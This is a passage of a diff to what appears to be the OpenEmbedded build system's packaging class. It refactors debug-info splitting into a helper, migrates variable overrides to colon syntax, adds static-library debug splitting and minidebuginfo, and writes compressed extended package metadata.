+ if d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory':
+ # Single debug-file-directory style debug info
+ debug_vars = {
+ "append": ".debug",
+ "staticappend": "",
+ "dir": "",
+ "staticdir": "",
+ "libdir": "/usr/lib/debug",
+ "staticlibdir": "/usr/lib/debug-static",
+ "srcdir": "/usr/src/debug",
+ }
+ elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-without-src':
+ # Original OE-core, a.k.a. ".debug", style debug info, but without sources in /usr/src/debug
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "",
+ }
+ elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg':
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "/usr/src/debug",
+ }
+ else:
+ # Original OE-core, a.k.a. ".debug", style debug info
+ debug_vars = {
+ "append": "",
+ "staticappend": "",
+ "dir": "/.debug",
+ "staticdir": "/.debug-static",
+ "libdir": "",
+ "staticlibdir": "",
+ "srcdir": "/usr/src/debug",
+ }
+
+ return debug_vars
+
python split_and_strip_files () {
import stat, errno
import subprocess
dvar = d.getVar('PKGD')
pn = d.getVar('PN')
- targetos = d.getVar('TARGET_OS')
+ hostos = d.getVar('HOST_OS')
oldcwd = os.getcwd()
os.chdir(dvar)
- # We default to '.debug' style
- if d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-file-directory':
- # Single debug-file-directory style debug info
- debugappend = ".debug"
- debugdir = ""
- debuglibdir = "/usr/lib/debug"
- debugsrcdir = "/usr/src/debug"
- elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-without-src':
- # Original OE-core, a.k.a. ".debug", style debug info, but without sources in /usr/src/debug
- debugappend = ""
- debugdir = "/.debug"
- debuglibdir = ""
- debugsrcdir = ""
- elif d.getVar('PACKAGE_DEBUG_SPLIT_STYLE') == 'debug-with-srcpkg':
- debugappend = ""
- debugdir = "/.debug"
- debuglibdir = ""
- debugsrcdir = "/usr/src/debug"
- else:
- # Original OE-core, a.k.a. ".debug", style debug info
- debugappend = ""
- debugdir = "/.debug"
- debuglibdir = ""
- debugsrcdir = "/usr/src/debug"
+ dv = package_debug_vars(d)
#
# First lets figure out all of the files we may have to process ... do this only once!
#
elffiles = {}
symlinks = {}
- kernmods = []
staticlibs = []
inodes = {}
libdir = os.path.abspath(dvar + os.sep + d.getVar("libdir"))
@@ -955,22 +1143,20 @@ python split_and_strip_files () {
for root, dirs, files in cpath.walk(dvar):
for f in files:
file = os.path.join(root, f)
- if file.endswith(".ko") and file.find("/lib/modules/") != -1:
- kernmods.append(file)
- continue
- if oe.package.is_static_lib(file):
- staticlibs.append(file)
- continue
# Skip debug files
- if debugappend and file.endswith(debugappend):
+ if dv["append"] and file.endswith(dv["append"]):
continue
- if debugdir and debugdir in os.path.dirname(file[len(dvar):]):
+ if dv["dir"] and dv["dir"] in os.path.dirname(file[len(dvar):]):
continue
if file in skipfiles:
continue
+ if oe.package.is_static_lib(file):
+ staticlibs.append(file)
+ continue
+
try:
ltarget = cpath.realpath(file, dvar, False)
s = cpath.lstat(ltarget)
@@ -983,8 +1169,11 @@ python split_and_strip_files () {
if not s:
continue
# Check its an executable
- if (s[stat.ST_MODE] & stat.S_IXUSR) or (s[stat.ST_MODE] & stat.S_IXGRP) or (s[stat.ST_MODE] & stat.S_IXOTH) \
- or ((file.startswith(libdir) or file.startswith(baselibdir)) and (".so" in f or ".node" in f)):
+ if (s[stat.ST_MODE] & stat.S_IXUSR) or (s[stat.ST_MODE] & stat.S_IXGRP) \
+ or (s[stat.ST_MODE] & stat.S_IXOTH) \
+ or ((file.startswith(libdir) or file.startswith(baselibdir)) \
+ and (".so" in f or ".node" in f)) \
+ or (f.startswith('vmlinux') or ".ko" in f):
if cpath.islink(file):
checkelflinks[file] = ltarget
@@ -1017,11 +1206,11 @@ python split_and_strip_files () {
# ...but is it ELF, and is it already stripped?
if elf_file & 1:
if elf_file & 2:
- if 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split():
+ if 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split():
bb.note("Skipping file %s from %s for already-stripped QA test" % (file[len(dvar):], pn))
else:
msg = "File '%s' from %s was already stripped, this will prevent future debugging!" % (file[len(dvar):], pn)
- package_qa_handle_error("already-stripped", msg, d)
+ oe.qa.handle_error("already-stripped", msg, d)
continue
# At this point we have an unstripped elf file. We need to:
@@ -1043,15 +1232,28 @@ python split_and_strip_files () {
# Modified the file so clear the cache
cpath.updatecache(file)
+ def strip_pkgd_prefix(f):
+ nonlocal dvar
+
+ if f.startswith(dvar):
+ return f[len(dvar):]
+
+ return f
+
#
# First lets process debug splitting
#
if (d.getVar('INHIBIT_PACKAGE_DEBUG_SPLIT') != '1'):
- results = oe.utils.multiprocess_launch(splitdebuginfo, list(elffiles), d, extraargs=(dvar, debugdir, debuglibdir, debugappend, debugsrcdir, d))
+ results = oe.utils.multiprocess_launch(splitdebuginfo, list(elffiles), d, extraargs=(dvar, dv, d))
+
+ if dv["srcdir"] and not hostos.startswith("mingw"):
+ if (d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
+ results = oe.utils.multiprocess_launch(splitstaticdebuginfo, staticlibs, d, extraargs=(dvar, dv, d))
+ else:
+ for file in staticlibs:
+ results.append( (file,source_info(file, d)) )
- if debugsrcdir and not targetos.startswith("mingw"):
- for file in staticlibs:
- results.extend(source_info(file, d, fatal=False))
+ d.setVar("PKGDEBUGSOURCES", {strip_pkgd_prefix(f): sorted(s) for f, s in results})
sources = set()
for r in results:
@@ -1065,9 +1267,9 @@ python split_and_strip_files () {
target = inodes[ref][0][len(dvar):]
for file in inodes[ref][1:]:
src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(target) + debugappend
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(target) + dv["append"]
fpath = dvar + dest
- ftarget = dvar + debuglibdir + os.path.dirname(target) + debugdir + "/" + os.path.basename(target) + debugappend
+ ftarget = dvar + dv["libdir"] + os.path.dirname(target) + dv["dir"] + "/" + os.path.basename(target) + dv["append"]
bb.utils.mkdirhier(os.path.dirname(fpath))
# Only one hardlink of separated debug info file in each directory
if not os.access(fpath, os.R_OK):
@@ -1077,7 +1279,7 @@ python split_and_strip_files () {
# Create symlinks for all cases we were able to split symbols
for file in symlinks:
src = file[len(dvar):]
- dest = debuglibdir + os.path.dirname(src) + debugdir + "/" + os.path.basename(src) + debugappend
+ dest = dv["libdir"] + os.path.dirname(src) + dv["dir"] + "/" + os.path.basename(src) + dv["append"]
fpath = dvar + dest
# Skip it if the target doesn't exist
try:
@@ -1093,17 +1295,17 @@ python split_and_strip_files () {
lbase = os.path.basename(ltarget)
ftarget = ""
if lpath and lpath != ".":
- ftarget += lpath + debugdir + "/"
- ftarget += lbase + debugappend
+ ftarget += lpath + dv["dir"] + "/"
+ ftarget += lbase + dv["append"]
if lpath.startswith(".."):
ftarget = os.path.join("..", ftarget)
bb.utils.mkdirhier(os.path.dirname(fpath))
#bb.note("Symlink %s -> %s" % (fpath, ftarget))
os.symlink(ftarget, fpath)
- # Process the debugsrcdir if requested...
+ # Process the dv["srcdir"] if requested...
# This copies and places the referenced sources for later debugging...
- copydebugsources(debugsrcdir, sources, d)
+ copydebugsources(dv["srcdir"], sources, d)
#
# End of debug splitting
#
@@ -1118,11 +1320,17 @@ python split_and_strip_files () {
elf_file = int(elffiles[file])
#bb.note("Strip %s" % file)
sfiles.append((file, elf_file, strip))
- for f in kernmods:
- sfiles.append((f, 16, strip))
+ if (d.getVar('PACKAGE_STRIP_STATIC') == '1' or d.getVar('PACKAGE_DEBUG_STATIC_SPLIT') == '1'):
+ for f in staticlibs:
+ sfiles.append((f, 16, strip))
oe.utils.multiprocess_launch(oe.package.runstrip, sfiles, d)
+ # Build "minidebuginfo" and reinject it back into the stripped binaries
+ if d.getVar('PACKAGE_MINIDEBUGINFO') == '1':
+ oe.utils.multiprocess_launch(inject_minidebuginfo, list(elffiles), d,
+ extraargs=(dvar, dv, d))
+
#
# End of strip
#
@@ -1151,7 +1359,7 @@ python populate_packages () {
src_package_name = ('%s-src' % d.getVar('PN'))
if not src_package_name in packages:
packages.append(src_package_name)
- d.setVar('FILES_%s' % src_package_name, '/usr/src/debug')
+ d.setVar('FILES:%s' % src_package_name, '/usr/src/debug')
# Sanity check PACKAGES for duplicates
# Sanity should be moved to sanity.bbclass once we have the infrastructure
@@ -1160,7 +1368,7 @@ python populate_packages () {
for i, pkg in enumerate(packages):
if pkg in package_dict:
msg = "%s is listed in PACKAGES multiple times, this leads to packaging errors." % pkg
- package_qa_handle_error("packages-list", msg, d)
+ oe.qa.handle_error("packages-list", msg, d)
# Ensure the source package gets the chance to pick up the source files
# before the debug package by ordering it first in PACKAGES. Whether it
# actually picks up any source files is controlled by
@@ -1187,17 +1395,17 @@ python populate_packages () {
dir = os.sep
for f in (files + dirs):
path = "." + os.path.join(dir, f)
- if "/.debug/" in path or path.endswith("/.debug"):
+ if "/.debug/" in path or "/.debug-static/" in path or path.endswith("/.debug"):
debug.append(path)
for pkg in packages:
root = os.path.join(pkgdest, pkg)
bb.utils.mkdirhier(root)
- filesvar = d.getVar('FILES_%s' % pkg) or ""
+ filesvar = d.getVar('FILES:%s' % pkg) or ""
if "//" in filesvar:
msg = "FILES variable for package %s contains '//' which is invalid. Attempting to fix this but you should correct the metadata.\n" % pkg
- package_qa_handle_error("files-invalid", msg, d)
+ oe.qa.handle_error("files-invalid", msg, d)
filesvar.replace("//", "/")
origfiles = filesvar.split()
@@ -1260,12 +1468,13 @@ python populate_packages () {
os.umask(oldumask)
os.chdir(workdir)
- # Handle LICENSE_EXCLUSION
+ # Handle excluding packages with incompatible licenses
package_list = []
for pkg in packages:
- if d.getVar('LICENSE_EXCLUSION-' + pkg):
- msg = "%s has an incompatible license. Excluding from packaging." % pkg
- package_qa_handle_error("incompatible-license", msg, d)
+ licenses = d.getVar('_exclude_incompatible-' + pkg)
+ if licenses:
+ msg = "Excluding %s from packaging as it has incompatible license(s): %s" % (pkg, licenses)
+ oe.qa.handle_error("incompatible-license", msg, d)
else:
package_list.append(pkg)
d.setVar('PACKAGES', ' '.join(package_list))
@@ -1282,14 +1491,14 @@ python populate_packages () {
if unshipped != []:
msg = pn + ": Files/directories were installed but not shipped in any package:"
- if "installed-vs-shipped" in (d.getVar('INSANE_SKIP_' + pn) or "").split():
+ if "installed-vs-shipped" in (d.getVar('INSANE_SKIP:' + pn) or "").split():
bb.note("Package %s skipping QA tests: installed-vs-shipped" % pn)
else:
for f in unshipped:
msg = msg + "\n " + f
msg = msg + "\nPlease set FILES such that these items are packaged. Alternatively if they are unneeded, avoid installing them or delete them within do_install.\n"
msg = msg + "%s: %d installed and not shipped files." % (pn, len(unshipped))
- package_qa_handle_error("installed-vs-shipped", msg, d)
+ oe.qa.handle_error("installed-vs-shipped", msg, d)
}
populate_packages[dirs] = "${D}"
@@ -1330,11 +1539,11 @@ python package_fixsymlinks () {
bb.note("%s contains dangling symlink to %s" % (pkg, l))
for pkg in newrdepends:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
for p in newrdepends[pkg]:
if p not in rdepends:
rdepends[p] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
}
@@ -1351,14 +1560,15 @@ EXPORT_FUNCTIONS package_name_hook
PKGDESTWORK = "${WORKDIR}/pkgdata"
-PKGDATA_VARS = "PN PE PV PR PKGE PKGV PKGR LICENSE DESCRIPTION SUMMARY RDEPENDS RPROVIDES RRECOMMENDS RSUGGESTS RREPLACES RCONFLICTS SECTION PKG ALLOW_EMPTY FILES CONFFILES FILES_INFO pkg_postinst pkg_postrm pkg_preinst pkg_prerm"
+PKGDATA_VARS = "PN PE PV PR PKGE PKGV PKGR LICENSE DESCRIPTION SUMMARY RDEPENDS RPROVIDES RRECOMMENDS RSUGGESTS RREPLACES RCONFLICTS SECTION PKG ALLOW_EMPTY FILES CONFFILES FILES_INFO PACKAGE_ADD_METADATA pkg_postinst pkg_postrm pkg_preinst pkg_prerm"
python emit_pkgdata() {
from glob import glob
import json
+ import bb.compress.zstd
def process_postinst_on_target(pkg, mlprefix):
- pkgval = d.getVar('PKG_%s' % pkg)
+ pkgval = d.getVar('PKG:%s' % pkg)
if pkgval is None:
pkgval = pkg
@@ -1369,8 +1579,8 @@ if [ -n "$D" ]; then
fi
""" % (pkgval, mlprefix)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- postinst_ontarget = d.getVar('pkg_postinst_ontarget_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ postinst_ontarget = d.getVar('pkg_postinst_ontarget:%s' % pkg)
if postinst_ontarget:
bb.debug(1, 'adding deferred pkg_postinst_ontarget() to pkg_postinst() for %s' % pkg)
@@ -1378,18 +1588,18 @@ fi
postinst = '#!/bin/sh\n'
postinst += defer_fragment
postinst += postinst_ontarget
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
def add_set_e_to_scriptlets(pkg):
for scriptlet_name in ('pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm'):
- scriptlet = d.getVar('%s_%s' % (scriptlet_name, pkg))
+ scriptlet = d.getVar('%s:%s' % (scriptlet_name, pkg))
if scriptlet:
scriptlet_split = scriptlet.split('\n')
if scriptlet_split[0].startswith("#!"):
scriptlet = scriptlet_split[0] + "\nset -e\n" + "\n".join(scriptlet_split[1:])
else:
scriptlet = "set -e\n" + "\n".join(scriptlet_split[0:])
- d.setVar('%s_%s' % (scriptlet_name, pkg), scriptlet)
+ d.setVar('%s:%s' % (scriptlet_name, pkg), scriptlet)
def write_if_exists(f, pkg, var):
def encode(str):
@@ -1397,9 +1607,9 @@ fi
c = codecs.getencoder("unicode_escape")
return c(str)[0].decode("latin1")
- val = d.getVar('%s_%s' % (var, pkg))
+ val = d.getVar('%s:%s' % (var, pkg))
if val:
- f.write('%s_%s: %s\n' % (var, pkg, encode(val)))
+ f.write('%s:%s: %s\n' % (var, pkg, encode(val)))
return val
val = d.getVar('%s' % (var))
if val:
@@ -1418,7 +1628,7 @@ fi
ml_pkg = "%s-%s" % (variant, pkg)
subdata_file = "%s/runtime/%s" % (pkgdatadir, ml_pkg)
with open(subdata_file, 'w') as fd:
- fd.write("PKG_%s: %s" % (ml_pkg, pkg))
+ fd.write("PKG:%s: %s" % (ml_pkg, pkg))
packages = d.getVar('PACKAGES')
pkgdest = d.getVar('PKGDEST')
@@ -1428,6 +1638,8 @@ fi
with open(data_file, 'w') as fd:
fd.write("PACKAGES: %s\n" % packages)
+ pkgdebugsource = d.getVar("PKGDEBUGSOURCES") or []
+
pn = d.getVar('PN')
global_variants = (d.getVar('MULTILIB_GLOBAL_VARIANTS') or "").split()
variants = (d.getVar('MULTILIB_VARIANTS') or "").split()
@@ -1442,23 +1654,38 @@ fi
workdir = d.getVar('WORKDIR')
for pkg in packages.split():
- pkgval = d.getVar('PKG_%s' % pkg)
+ pkgval = d.getVar('PKG:%s' % pkg)
if pkgval is None:
pkgval = pkg
- d.setVar('PKG_%s' % pkg, pkg)
+ d.setVar('PKG:%s' % pkg, pkg)
+
+ extended_data = {
+ "files_info": {}
+ }
pkgdestpkg = os.path.join(pkgdest, pkg)
files = {}
+ files_extra = {}
total_size = 0
seen = set()
for f in pkgfiles[pkg]:
- relpth = os.path.relpath(f, pkgdestpkg)
+ fpath = os.sep + os.path.relpath(f, pkgdestpkg)
+
fstat = os.lstat(f)
- files[os.sep + relpth] = fstat.st_size
+ files[fpath] = fstat.st_size
+
+ extended_data["files_info"].setdefault(fpath, {})
+ extended_data["files_info"][fpath]['size'] = fstat.st_size
+
if fstat.st_ino not in seen:
seen.add(fstat.st_ino)
total_size += fstat.st_size
- d.setVar('FILES_INFO', json.dumps(files, sort_keys=True))
+
+ if fpath in pkgdebugsource:
+ extended_data["files_info"][fpath]['debugsrc'] = pkgdebugsource[fpath]
+ del pkgdebugsource[fpath]
+
+ d.setVar('FILES_INFO:' + pkg , json.dumps(files, sort_keys=True))
process_postinst_on_target(pkg, d.getVar("MLPREFIX"))
add_set_e_to_scriptlets(pkg)
@@ -1469,24 +1696,29 @@ fi
val = write_if_exists(sf, pkg, var)
write_if_exists(sf, pkg, 'FILERPROVIDESFLIST')
- for dfile in (d.getVar('FILERPROVIDESFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERPROVIDES_' + dfile)
+ for dfile in sorted((d.getVar('FILERPROVIDESFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERPROVIDES:' + dfile)
write_if_exists(sf, pkg, 'FILERDEPENDSFLIST')
- for dfile in (d.getVar('FILERDEPENDSFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERDEPENDS_' + dfile)
+ for dfile in sorted((d.getVar('FILERDEPENDSFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERDEPENDS:' + dfile)
+
+ sf.write('%s:%s: %d\n' % ('PKGSIZE', pkg, total_size))
- sf.write('%s_%s: %d\n' % ('PKGSIZE', pkg, total_size))
+ subdata_extended_file = pkgdatadir + "/extended/%s.json.zstd" % pkg
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(subdata_extended_file, "wt", encoding="utf-8", num_threads=num_threads) as f:
+ json.dump(extended_data, f, sort_keys=True, separators=(",", ":"))
# Symlinks needed for rprovides lookup
- rprov = d.getVar('RPROVIDES_%s' % pkg) or d.getVar('RPROVIDES')
+ rprov = d.getVar('RPROVIDES:%s' % pkg) or d.getVar('RPROVIDES')
if rprov:
- for p in rprov.strip().split():
+ for p in bb.utils.explode_deps(rprov):
subdata_sym = pkgdatadir + "/runtime-rprovides/%s/%s" % (p, pkg)
bb.utils.mkdirhier(os.path.dirname(subdata_sym))
oe.path.symlink("../../runtime/%s" % pkg, subdata_sym, True)
- allow_empty = d.getVar('ALLOW_EMPTY_%s' % pkg)
+ allow_empty = d.getVar('ALLOW_EMPTY:%s' % pkg)
if not allow_empty:
allow_empty = d.getVar('ALLOW_EMPTY')
root = "%s/%s" % (pkgdest, pkg)
@@ -1508,7 +1740,8 @@ fi
write_extra_runtime_pkgs(global_variants, packages, pkgdatadir)
}
-emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides"
+emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides ${PKGDESTWORK}/extended"
+emit_pkgdata[vardepsexclude] = "BB_NUMBER_THREADS"
ldconfig_postinst_fragment() {
if [ x"$D" = "x" ]; then
@@ -1516,15 +1749,15 @@ if [ x"$D" = "x" ]; then
fi
}
-RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps"
+RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps --define '__font_provides %{nil}'"
# Collect perfile run-time dependency metadata
# Output:
-# FILERPROVIDESFLIST_pkg - list of all files w/ deps
-# FILERPROVIDES_filepath_pkg - per file dep
+# FILERPROVIDESFLIST:pkg - list of all files w/ deps
+# FILERPROVIDES:filepath:pkg - per file dep
#
-# FILERDEPENDSFLIST_pkg - list of all files w/ deps
-# FILERDEPENDS_filepath_pkg - per file dep
+# FILERDEPENDSFLIST:pkg - list of all files w/ deps
+# FILERDEPENDS:filepath:pkg - per file dep
python package_do_filedeps() {
if d.getVar('SKIP_FILEDEPS') == '1':
@@ -1539,7 +1772,7 @@ python package_do_filedeps() {
pkglist = []
for pkg in packages.split():
- if d.getVar('SKIP_FILEDEPS_' + pkg) == '1':
+ if d.getVar('SKIP_FILEDEPS:' + pkg) == '1':
continue
if pkg.endswith('-dbg') or pkg.endswith('-doc') or pkg.find('-locale-') != -1 or pkg.find('-localedata-') != -1 or pkg.find('-gconv-') != -1 or pkg.find('-charmap-') != -1 or pkg.startswith('kernel-module-') or pkg.endswith('-src'):
continue
@@ -1561,18 +1794,18 @@ python package_do_filedeps() {
for file in sorted(provides):
provides_files[pkg].append(file)
- key = "FILERPROVIDES_" + file + "_" + pkg
+ key = "FILERPROVIDES:" + file + ":" + pkg
d.appendVar(key, " " + " ".join(provides[file]))
for file in sorted(requires):
requires_files[pkg].append(file)
- key = "FILERDEPENDS_" + file + "_" + pkg
+ key = "FILERDEPENDS:" + file + ":" + pkg
d.appendVar(key, " " + " ".join(requires[file]))
for pkg in requires_files:
- d.setVar("FILERDEPENDSFLIST_" + pkg, " ".join(requires_files[pkg]))
+ d.setVar("FILERDEPENDSFLIST:" + pkg, " ".join(sorted(requires_files[pkg])))
for pkg in provides_files:
- d.setVar("FILERPROVIDESFLIST_" + pkg, " ".join(provides_files[pkg]))
+ d.setVar("FILERPROVIDESFLIST:" + pkg, " ".join(sorted(provides_files[pkg])))
}
SHLIBSDIRS = "${WORKDIR_PKGDATA}/${MLPREFIX}shlibs2"
@@ -1604,14 +1837,14 @@ python package_do_shlibs() {
else:
shlib_pkgs = packages.split()
- targetos = d.getVar('TARGET_OS')
+ hostos = d.getVar('HOST_OS')
workdir = d.getVar('WORKDIR')
ver = d.getVar('PKGV')
if not ver:
msg = "PKGV not defined"
- package_qa_handle_error("pkgv-undefined", msg, d)
+ oe.qa.handle_error("pkgv-undefined", msg, d)
return
pkgdest = d.getVar('PKGDEST')
@@ -1651,7 +1884,7 @@ python package_do_shlibs() {
sonames.add(prov)
if libdir_re.match(os.path.dirname(file)):
needs_ldconfig = True
- if snap_symlinks and (os.path.basename(file) != this_soname):
+ if needs_ldconfig and snap_symlinks and (os.path.basename(file) != this_soname):
renames.append((file, os.path.join(os.path.dirname(file), this_soname)))
return (needs_ldconfig, needed, sonames, renames)
@@ -1731,19 +1964,17 @@ python package_do_shlibs() {
else:
snap_symlinks = False
- use_ldconfig = bb.utils.contains('DISTRO_FEATURES', 'ldconfig', True, False, d)
-
needed = {}
shlib_provider = oe.package.read_shlib_providers(d)
for pkg in shlib_pkgs:
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
private_libs = private_libs.split()
needs_ldconfig = False
bb.debug(2, "calculating shlib provides for %s" % pkg)
- pkgver = d.getVar('PKGV_' + pkg)
+ pkgver = d.getVar('PKGV:' + pkg)
if not pkgver:
pkgver = d.getVar('PV_' + pkg)
if not pkgver:
@@ -1757,9 +1988,9 @@ python package_do_shlibs() {
soname = None
if cpath.islink(file):
continue
- if targetos == "darwin" or targetos == "darwin8":
+ if hostos == "darwin" or hostos == "darwin8":
darwin_so(file, needed, sonames, renames, pkgver)
- elif targetos.startswith("mingw"):
+ elif hostos.startswith("mingw"):
mingw_dll(file, needed, sonames, renames, pkgver)
elif os.access(file, os.X_OK) or lib_re.match(file):
linuxlist.append(file)
@@ -1775,13 +2006,13 @@ python package_do_shlibs() {
for (old, new) in renames:
bb.note("Renaming %s to %s" % (old, new))
- os.rename(old, new)
+ bb.utils.rename(old, new)
pkgfiles[pkg].remove(old)
shlibs_file = os.path.join(shlibswork_dir, pkg + ".list")
if len(sonames):
with open(shlibs_file, 'w') as fd:
- for s in sonames:
+ for s in sorted(sonames):
if s[0] in shlib_provider and s[1] in shlib_provider[s[0]]:
(old_pkg, old_pkgver) = shlib_provider[s[0]][s[1]]
if old_pkg != pkg:
@@ -1791,13 +2022,13 @@ python package_do_shlibs() {
if s[0] not in shlib_provider:
shlib_provider[s[0]] = {}
shlib_provider[s[0]][s[1]] = (pkg, pkgver)
- if needs_ldconfig and use_ldconfig:
+ if needs_ldconfig:
bb.debug(1, 'adding ldconfig call to postinst for %s' % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('ldconfig_postinst_fragment')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.debug(1, 'LIBNAMES: pkg %s sonames %s' % (pkg, sonames))
assumed_libs = d.getVar('ASSUME_SHLIBS')
@@ -1819,7 +2050,7 @@ python package_do_shlibs() {
for pkg in shlib_pkgs:
bb.debug(2, "calculating shlib requirements for %s" % pkg)
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
private_libs = private_libs.split()
deps = list()
@@ -1887,12 +2118,12 @@ python package_do_pkgconfig () {
for pkg in packages.split():
pkgconfig_provided[pkg] = []
pkgconfig_needed[pkg] = []
- for file in pkgfiles[pkg]:
+ for file in sorted(pkgfiles[pkg]):
m = pc_re.match(file)
if m:
pd = bb.data.init()
name = m.group(1)
- pkgconfig_provided[pkg].append(name)
+ pkgconfig_provided[pkg].append(os.path.basename(name))
if not os.access(file, os.R_OK):
continue
with open(file, 'r') as f:
@@ -1915,7 +2146,7 @@ python package_do_pkgconfig () {
pkgs_file = os.path.join(shlibswork_dir, pkg + ".pclist")
if pkgconfig_provided[pkg] != []:
with open(pkgs_file, 'w') as f:
- for p in pkgconfig_provided[pkg]:
+ for p in sorted(pkgconfig_provided[pkg]):
f.write('%s\n' % p)
# Go from least to most specific since the last one found wins
@@ -1973,7 +2204,7 @@ python read_shlibdeps () {
packages = d.getVar('PACKAGES').split()
for pkg in packages:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
for dep in sorted(pkglibdeps[pkg]):
# Add the dep if it's not already there, or if no comparison is set
if dep not in rdepends:
@@ -1981,7 +2212,7 @@ python read_shlibdeps () {
for v in pkglibdeps[pkg][dep]:
if v not in rdepends[dep]:
rdepends[dep].append(v)
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
}
python package_depchains() {
@@ -2005,7 +2236,7 @@ python package_depchains() {
def pkg_adddeprrecs(pkg, base, suffix, getname, depends, d):
#bb.note('depends for %s is %s' % (base, depends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
for depend in sorted(depends):
if depend.find('-native') != -1 or depend.find('-cross') != -1 or depend.startswith('virtual/'):
@@ -2020,13 +2251,13 @@ python package_depchains() {
if pkgname not in rreclist and pkgname != pkg:
rreclist[pkgname] = []
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
def pkg_addrrecs(pkg, base, suffix, getname, rdepends, d):
#bb.note('rdepends for %s is %s' % (base, rdepends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
for depend in sorted(rdepends):
if depend.find('virtual-locale-') != -1:
@@ -2041,8 +2272,8 @@ python package_depchains() {
if pkgname not in rreclist and pkgname != pkg:
rreclist[pkgname] = []
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
def add_dep(list, dep):
if dep not in list:
@@ -2054,7 +2285,7 @@ python package_depchains() {
rdepends = []
for pkg in packages.split():
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + pkg) or ""):
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + pkg) or ""):
add_dep(rdepends, dep)
#bb.note('rdepends is %s' % rdepends)
@@ -2088,7 +2319,7 @@ python package_depchains() {
for suffix in pkgs:
for pkg in pkgs[suffix]:
- if d.getVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs'):
+ if d.getVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs'):
continue
(base, func) = pkgs[suffix][pkg]
if suffix == "-dev":
@@ -2101,26 +2332,28 @@ python package_depchains() {
pkg_addrrecs(pkg, base, suffix, func, rdepends, d)
else:
rdeps = []
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + base) or ""):
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + base) or ""):
